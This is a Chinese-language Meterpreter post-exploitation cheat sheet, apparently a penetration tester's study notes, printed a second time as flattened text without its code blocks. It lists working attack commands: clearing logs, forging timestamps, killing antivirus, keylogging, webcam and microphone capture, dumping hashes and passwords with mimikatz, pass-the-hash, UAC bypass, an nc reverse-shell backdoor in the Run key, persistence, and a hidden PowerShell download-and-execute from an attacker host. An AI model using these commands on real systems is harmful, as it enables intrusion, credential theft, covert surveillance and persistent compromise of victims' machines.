meterpreter学习笔记
字数 5381 2025-08-26 22:11:51

Meterpreter 渗透测试工具全面指南

0x00 前言

Meterpreter 是 Metasploit 框架中的一个扩展模块,作为后渗透阶段的利器,提供了强大的功能集。本指南将详细介绍 Meterpreter 的各种命令和功能,帮助渗透测试人员有效利用这一工具。

0x01 系统命令

基本系统命令

  • background: 将当前会话放置后台
  • sessions: 查看会话列表
    • sessions -i <ID值>: 进入指定会话
    • sessions -k <ID值>: 杀死指定会话
  • bgrun/run: 执行已有模块
  • info: 查看模块信息
  • getuid: 查看当前用户身份
  • getprivs: 查看当前用户权限
  • getpid: 获取当前进程ID
  • sysinfo: 查看系统信息
  • irb: 开启ruby终端
  • ps: 查看运行进程
  • kill <PID值>: 杀死指定进程
  • idletime: 查看目标机闲置时间
  • reboot/shutdown: 重启/关机
  • shell: 进入目标机cmd shell

常用cmd命令

  • whoami: 查看当前权限
  • quser: 查询当前在线管理员
  • net user: 查看用户列表
  • net user 用户名 密码 /add: 添加用户
  • net localgroup 用户组名 用户名 /add: 添加用户到组
  • netstat -ano: 查看网络连接状态
  • systeminfo: 查看系统详细信息
  • tasklist /svc: 查看进程对应服务
  • taskkill /f /im 程序名称: 结束指定程序
  • taskkill /f /PID ID: 结束指定PID进程
  • logoff: 注销用户
  • netsh advfirewall set allprofiles state off: 关闭防火墙

uictl开关键盘/鼠标

  • uictl [enable/disable] [keyboard/mouse/all]: 控制输入设备
  • uictl disable mouse: 禁用鼠标
  • uictl disable keyboard: 禁用键盘

execute执行文件

  • execute -H -i -f cmd.exe: 创建隐藏交互式cmd进程
  • execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt": 伪装执行payload

migrate进程迁移

  1. getpid: 获取当前PID
  2. ps: 查看活跃进程
  3. migrate <pid值>: 迁移到指定进程
  4. kill <pid值>: 杀死进程

clearav清除日志

  • clearav: 清除Windows应用程序、系统和安全日志

0x02 文件系统命令

基本文件系统命令

  • ls: 列出文件
  • cd: 切换目录
  • getwd/pwd: 查看当前目录
  • search -d c:\\ -f *.txt: 搜索文件
  • cat c:\\123.txt: 查看文件内容
  • upload /tmp/hack.txt C:\\: 上传文件
  • download c:\\123.txt /tmp/: 下载文件
  • edit c:\\test.txt: 编辑/创建文件
  • rm C:\\hack.txt: 删除文件
  • mkdir admin: 创建目录
  • rmdir admin: 删除目录
  • getlwd/lpwd: 查看本地当前目录
  • lcd /tmp: 切换本地目录

timestomp伪造时间戳

  • timestomp C:\\ -h: 查看帮助
  • timestomp -v C:\\2.txt: 查看时间戳
  • timestomp C:\\2.txt -f C:\\1.txt: 复制时间戳
  • timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v: 设置统一时间

0x03 网络命令

基本网络命令

  • ipconfig/ifconfig: 查看网络接口
  • netstat –ano: 查看网络连接
  • arp: 查看ARP表
  • getproxy: 查看代理信息
  • route: 查看路由表

portfwd端口转发

  • portfwd add -l 1111 -p 3389 -r 127.0.0.1: 转发3389到本地1111
  • rdesktop 127.0.0.1:1111: 连接远程桌面
  • rdesktop -u Administrator -p 123 127.0.0.1:1111: 带认证连接

autoroute添加路由

  1. run autoroute -h: 查看帮助
  2. run get_local_subnets: 查看内网网段
  3. run autoroute -s 192.168.183.0/24: 添加路由
  4. run autoroute -p: 查看路由

扫描工具

  • run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24: ARP扫描
  • run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389: 端口扫描

Socks代理

  1. 添加路由后设置代理:
    use auxiliary/server/socks4a
    set srvhost 127.0.0.1
    set srvport 2000
    run
    
  2. 配置/etc/proxychains.conf
  3. 使用代理扫描:
    • proxychains nmap -sV -p 445 --script=smb-vuln-ms17-010.nse 192.168.183.146
    • proxychains hydra 192.168.183.146 rdp -l administrator -P password.txt -V

0x04 信息收集

常用脚本

  • run arp_scanner -r 192.168.183.1/24: ARP存活扫描
  • run winenum: 自动化检测
  • run credcollect: 获取用户hash
  • run domain_list_gen: 获取域账户列表
  • run post/multi/gather/env: 获取环境变量
  • run post/windows/gather/enum_logged_on_users -c: 列出登录用户
  • run post/linux/gather/checkvm: 检测虚拟机
  • run post/windows/gather/forensics/enum_drives: 查看存储信息
  • run post/windows/gather/enum_applications: 获取安装软件
  • run post/windows/gather/dumplinks: 获取最近文档
  • run post/windows/gather/enum_ie: 获取IE缓存
  • run post/windows/gather/enum_firefox: 获取Firefox缓存
  • run post/windows/gather/enum_chrome: 获取Chrome缓存
  • run post/multi/recon/local_exploit_suggester: 本地提权漏洞
  • run post/windows/gather/enum_patches: 获取补丁信息
  • run post/windows/gather/enum_domain: 查找域控
  • run post/windows/gather/enum_snmp: 获取SNMP团体名
  • run post/windows/gather/credentials/vnc: 获取VNC密码
  • run post/windows/wlan/wlan_profile: 读取WiFi密码
  • run post/multi/gather/wlan_geolocate: 基于WLAN定位
  • run post/windows/manage/killav: 关闭杀毒软件

常用破解模块

auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous

键盘记录

  • keyscan_start: 开始记录
  • keyscan_dump: 导出数据
  • keyscan_stop: 停止记录

sniffer抓包

  1. use sniffer
  2. sniffer_interfaces: 查看网卡
  3. sniffer_start 1: 开始抓包
  4. sniffer_stats 1: 查看状态
  5. sniffer_dump 1 /tmp/wlan1.pcap: 导出数据
  6. sniffer_stop 1: 停止抓包
  7. sniffer_release 1: 释放流量

窃取令牌

  • steal_token <pid值>: 窃取token
  • drop_token: 停止假冒token

网络摄像头

  • record_mic: 音频录制
  • webcam_chat: 视频聊天(有弹窗)
  • webcam_list: 查看摄像头
  • webcam_snap: 拍照
  • webcam_stream: 视频监控(网页形式)

截屏

  • screenshot: 截屏
  • use espia: 使用espia模块
  • screengrab: 截屏

0x05 提权

getsystem提权

  • getsystem: 自动尝试各种提权技术

本地漏洞提权

  1. getuid查看权限
  2. run post/windows/gather/enum_patches查看补丁
  3. 搜索可用exploit:
    background
    search MS10-015
    use exploit/windows/local/ms10_015_kitrap0d
    set session 8
    run
    

绕过UAC提权

可用模块:

exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs

使用方法:

use exploit/windows/local/bypassuac
set session 1
run

使用RunAs提权

use exploit/windows/local/ask
set filename update.exe
set session 1
run

注意:需进行免杀处理

假冒令牌提权

  1. use incognito: 加载模块
  2. list_tokens -u: 查看可用令牌
  3. list_tokens -g: 查看组令牌
  4. impersonate_token 'NT AUTHORITY\SYSTEM': 假冒SYSTEM
  5. rev2self: 返回原始token

利用AlwaysInstallElevated提权

  1. 检查注册表:

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    

    需两个键值都为1

  2. 生成MSI:

    msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi
    
  3. 上传执行:

    upload msi.msi c:\\Users\\test
    msiexec /quiet /qn /i msi.msi
    net localgroup administrators
    

注意:需做好免杀

0x06 窃取hash及密码&哈希传递

窃取hash及密码

  • hashdump: 获取hash
  • run post/windows/gather/smart_hashdump: 智能获取hash

mimikatz

  1. load mimikatz: 加载模块
  2. msv: 获取用户和hash
  3. kerberos: 获取明文密码
  4. wdigest: 获取明文密码
  5. mimikatz_command -f a::: 显示正确模块
  6. mimikatz_command -f sekurlsa::searchPasswords: 获取密码
  7. mimikatz_command -f samdump::hashes: 获取hash

kiwi

需要SYSTEM权限:

load kiwi
creds_all

哈希传递

使用psexec模块(需SMB服务和Admin$访问):

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf**4ee:3db**678
set SMBDOMAIN WORKGROUP
run

0x07 RDP

开启3389

getgui命令

  • run getgui –h: 查看帮助
  • run getgui -e: 开启远程桌面
  • run getgui -u admin -p admin: 添加用户
  • run getgui -f 6666 -e: 端口转发

enable_rdp脚本

run post/windows/manage/enable_rdp
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667

远程桌面

  • enumdesktops: 查看可用桌面
  • getdesktop: 获取当前桌面
  • setdesktop: 设置关联桌面
  • run vnc: VNC连接
  • rdesktop 127.0.0.1:1111: 连接RDP
  • rdesktop -u Administrator -p 123 127.0.0.1:1111: 带认证连接

0x08 注册表操作

注册表基本命令

  • reg –h: 查看帮助
  • reg enumkey [-k <key>]: 枚举注册表
  • reg createkey [-k <key>]: 创建项
  • reg deletekey [-k <key>]: 删除项
  • reg setval [-k <key> -v <val> -d <data>]: 设置值
  • reg deleteval [-k <key> -v <val>]: 删除值
  • reg queryval [-k <key> -v <val>]: 查询值

利用注册表添加nc后门

  1. 上传nc:

    upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
    
  2. 设置注册表:

    reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
    reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
    reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc
    
  3. 设置防火墙:

    shell
    netsh firewall show opmode
    netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL
    
  4. 重启后连接:

    nc -nv 目标IP 443
    

0x09 后门植入

Persistence(通过启动项安装)

run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32
  • -X: 系统启动自启(HKLM)
  • -U: 用户登录自启(HKCU)
  • -L: 后门存放位置

Metsvc(通过服务安装)

run metsvc -A
run metsvc -r

连接:

use exploit/multi/handler 
set payload windows/metsvc_bind_tcp
set rhost 192.168.183.169
set lport 31337
run

Powershell后门

use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 2334
set srvport 2333
set uripath /
set target 5
run

目标执行:

powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.183.147:2333/', $z); invoke-item $z

总结

本指南全面介绍了Meterpreter的各种功能和命令,从基本系统操作到高级后渗透技术。熟练掌握这些技术可以大大提高渗透测试的效率,但请务必在合法授权范围内使用这些技术。

Meterpreter 渗透测试工具全面指南 0x00 前言 Meterpreter 是 Metasploit 框架中的一个扩展模块,作为后渗透阶段的利器,提供了强大的功能集。本指南将详细介绍 Meterpreter 的各种命令和功能,帮助渗透测试人员有效利用这一工具。 0x01 系统命令 基本系统命令 background : 将当前会话放置后台 sessions : 查看会话列表 sessions -i <ID值> : 进入指定会话 sessions -k <ID值> : 杀死指定会话 bgrun / run : 执行已有模块 info : 查看模块信息 getuid : 查看当前用户身份 getprivs : 查看当前用户权限 getpid : 获取当前进程ID sysinfo : 查看系统信息 irb : 开启ruby终端 ps : 查看运行进程 kill <PID值> : 杀死指定进程 idletime : 查看目标机闲置时间 reboot / shutdown : 重启/关机 shell : 进入目标机cmd shell 常用cmd命令 whoami : 查看当前权限 quser : 查询当前在线管理员 net user : 查看用户列表 net user 用户名 密码 /add : 添加用户 net localgroup 用户组名 用户名 /add : 添加用户到组 netstat -ano : 查看网络连接状态 systeminfo : 查看系统详细信息 tasklist /svc : 查看进程对应服务 taskkill /f /im 程序名称 : 结束指定程序 taskkill /f /PID ID : 结束指定PID进程 logoff : 注销用户 netsh advfirewall set allprofiles state off : 关闭防火墙 uictl开关键盘/鼠标 uictl [enable/disable] [keyboard/mouse/all] : 控制输入设备 uictl disable mouse : 禁用鼠标 uictl disable keyboard : 禁用键盘 execute执行文件 execute -H -i -f cmd.exe : 创建隐藏交互式cmd进程 execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt" : 伪装执行payload migrate进程迁移 getpid : 获取当前PID ps : 查看活跃进程 migrate <pid值> : 迁移到指定进程 kill <pid值> : 杀死进程 clearav清除日志 clearav : 清除Windows应用程序、系统和安全日志 0x02 文件系统命令 基本文件系统命令 ls : 列出文件 cd : 切换目录 getwd / pwd : 查看当前目录 search -d c:\\ -f *.txt : 搜索文件 cat c:\\123.txt : 查看文件内容 upload /tmp/hack.txt C:\\ : 上传文件 download c:\\123.txt /tmp/ : 下载文件 edit c:\\test.txt : 编辑/创建文件 rm C:\\hack.txt : 删除文件 mkdir admin : 创建目录 rmdir admin : 删除目录 getlwd / lpwd : 查看本地当前目录 lcd /tmp : 切换本地目录 timestomp伪造时间戳 timestomp C:\\ -h : 查看帮助 timestomp -v C:\\2.txt : 查看时间戳 timestomp C:\\2.txt -f C:\\1.txt : 复制时间戳 timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v : 设置统一时间 0x03 网络命令 基本网络命令 ipconfig / ifconfig : 查看网络接口 netstat –ano : 查看网络连接 arp : 查看ARP表 getproxy : 查看代理信息 route : 查看路由表 portfwd端口转发 portfwd add -l 1111 -p 3389 -r 127.0.0.1 : 转发3389到本地1111 rdesktop 127.0.0.1:1111 : 连接远程桌面 rdesktop -u Administrator -p 123 127.0.0.1:1111 : 带认证连接 autoroute添加路由 run autoroute -h : 查看帮助 run get_local_subnets : 查看内网网段 run autoroute -s 192.168.183.0/24 : 添加路由 run autoroute -p : 查看路由 扫描工具 run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24 : ARP扫描 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389 : 端口扫描 Socks代理 添加路由后设置代理: 配置 /etc/proxychains.conf 使用代理扫描: proxychains nmap -sV -p 445 --script=smb-vuln-ms17-010.nse 192.168.183.146 proxychains hydra 192.168.183.146 rdp -l administrator -P password.txt -V 0x04 信息收集 常用脚本 run arp_scanner -r 192.168.183.1/24 : ARP存活扫描 run winenum : 自动化检测 run credcollect : 获取用户hash run domain_list_gen : 获取域账户列表 run post/multi/gather/env : 获取环境变量 run post/windows/gather/enum_logged_on_users -c : 列出登录用户 run post/linux/gather/checkvm : 检测虚拟机 run post/windows/gather/forensics/enum_drives : 查看存储信息 run post/windows/gather/enum_applications : 获取安装软件 run post/windows/gather/dumplinks : 获取最近文档 run post/windows/gather/enum_ie : 获取IE缓存 run post/windows/gather/enum_firefox : 获取Firefox缓存 run post/windows/gather/enum_chrome : 获取Chrome缓存 run post/multi/recon/local_exploit_suggester : 本地提权漏洞 run post/windows/gather/enum_patches : 获取补丁信息 run post/windows/gather/enum_domain : 查找域控 run post/windows/gather/enum_snmp : 获取SNMP团体名 run post/windows/gather/credentials/vnc : 获取VNC密码 run post/windows/wlan/wlan_profile : 读取WiFi密码 run post/multi/gather/wlan_geolocate : 基于WLAN定位 run post/windows/manage/killav : 关闭杀毒软件 常用破解模块 键盘记录 keyscan_start : 开始记录 keyscan_dump : 导出数据 keyscan_stop : 停止记录 sniffer抓包 use sniffer sniffer_interfaces : 查看网卡 sniffer_start 1 : 开始抓包 sniffer_stats 1 : 查看状态 sniffer_dump 1 /tmp/wlan1.pcap : 导出数据 sniffer_stop 1 : 停止抓包 sniffer_release 1 : 释放流量 窃取令牌 steal_token <pid值> : 窃取token drop_token : 停止假冒token 网络摄像头 record_mic : 音频录制 webcam_chat : 视频聊天(有弹窗) webcam_list : 查看摄像头 webcam_snap : 拍照 webcam_stream : 视频监控(网页形式) 截屏 screenshot : 截屏 use espia : 使用espia模块 screengrab : 截屏 0x05 提权 getsystem提权 getsystem : 自动尝试各种提权技术 本地漏洞提权 getuid 查看权限 run post/windows/gather/enum_patches 查看补丁 搜索可用exploit: 绕过UAC提权 可用模块: 使用方法: 使用RunAs提权 注意:需进行免杀处理 假冒令牌提权 use incognito : 加载模块 list_tokens -u : 查看可用令牌 list_tokens -g : 查看组令牌 impersonate_token 'NT AUTHORITY\SYSTEM' : 假冒SYSTEM rev2self : 返回原始token 利用AlwaysInstallElevated提权 检查注册表: 需两个键值都为1 生成MSI: 上传执行: 注意:需做好免杀 0x06 窃取hash及密码&哈希传递 窃取hash及密码 hashdump : 获取hash run post/windows/gather/smart_hashdump : 智能获取hash mimikatz load mimikatz : 加载模块 msv : 获取用户和hash kerberos : 获取明文密码 wdigest : 获取明文密码 mimikatz_command -f a:: : 显示正确模块 mimikatz_command -f sekurlsa::searchPasswords : 获取密码 mimikatz_command -f samdump::hashes : 获取hash kiwi 需要SYSTEM权限: 哈希传递 使用psexec模块(需SMB服务和Admin$访问): 0x07 RDP 开启3389 getgui命令 run getgui –h : 查看帮助 run getgui -e : 开启远程桌面 run getgui -u admin -p admin : 添加用户 run getgui -f 6666 -e : 端口转发 enable_ rdp脚本 远程桌面 enumdesktops : 查看可用桌面 getdesktop : 获取当前桌面 setdesktop : 设置关联桌面 run vnc : VNC连接 rdesktop 127.0.0.1:1111 : 连接RDP rdesktop -u Administrator -p 123 127.0.0.1:1111 : 带认证连接 0x08 注册表操作 注册表基本命令 reg –h : 查看帮助 reg enumkey [-k <key>] : 枚举注册表 reg createkey [-k <key>] : 创建项 reg deletekey [-k <key>] : 删除项 reg setval [-k <key> -v <val> -d <data>] : 设置值 reg deleteval [-k <key> -v <val>] : 删除值 reg queryval [-k <key> -v <val>] : 查询值 利用注册表添加nc后门 上传nc: 设置注册表: 设置防火墙: 重启后连接: 0x09 后门植入 Persistence(通过启动项安装) -X : 系统启动自启(HKLM) -U : 用户登录自启(HKCU) -L : 后门存放位置 Metsvc(通过服务安装) 连接: Powershell后门 目标执行: 总结 本指南全面介绍了Meterpreter的各种功能和命令,从基本系统操作到高级后渗透技术。熟练掌握这些技术可以大大提高渗透测试的效率,但请务必在合法授权范围内使用这些技术。